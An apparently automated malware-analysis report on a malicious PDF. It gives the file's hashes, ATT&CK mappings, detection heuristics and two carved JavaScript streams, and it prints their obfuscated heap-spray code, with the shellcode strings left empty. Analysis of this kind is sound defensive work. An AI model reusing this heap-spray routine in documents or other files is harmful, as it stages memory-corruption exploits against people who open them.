PDF malware analysis — malicious · 80da04ced173d4d3

MALICIOUS

PDF

1.3 KB First seen: 2026-05-10

MD5: 2c02f34560513f9511ee03058dc1445e SHA-1: fdf3658375be9b0e2c91d565829694aba2ea58d0 SHA-256: 80da04ced173d4d37d1702d129108a8d44bfe07a0e9bbdfa4f46b1ed37a651ea

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes the unescape function and performs a heap spray. This behavior is indicative of an exploit attempting to prepare memory for shellcode execution. The ML classifier also flagged this PDF as malicious with high confidence. No specific IOCs like URLs or domains were extracted, and the script's ultimate payload is not discernible from the provided evidence.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape("");
var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape("");
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0006_000.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0x167	752 bytes
SHA-256: `fc6dd3b75a659eff33d6af7e24ea9c35c0b5db283210e557f3f2e22a67093a02`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape(""); var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape(""); while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM; yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length); memory=new Array(); for(i=0;i<0x2001;) { memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb; i++; }
`javascript_obj0006_001.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0x189	976 bytes
SHA-256: `7480cd79462723e449c93a8296e10f4bea8e8b22d6bd13667fbddaa3af004706`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb = unescape(""); var yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM = unescape(""); while(yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.length <= 32768) yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM+=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM; yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM=yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM.substring(0,32768 - WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb.length); memory=new Array(); for(i=0;i<0x2001;) { memory[i]= yRExcnpsFxzQPbkxhrzJMwHciRcFJapkbRTMAiLGeHcyM + WoBlSLYhVaeVjclflqLygNhNzXsnOsZnQunDxWSpZSWfgntPZUmsNAxIyidxEqdauobjRNSDYiXYEWjlchysWVZb; i++; } endstream endobj xref 0 7 0000000000 65535 f 0000000015 00000 n 0000000100 00000 n 0000000297 00000 n 0000000148 00000 n 0000000207 00000 n 0000000359 00000 n trailer << /Root 1 0 R /Size 7 >> startxref 1227 %%EOF

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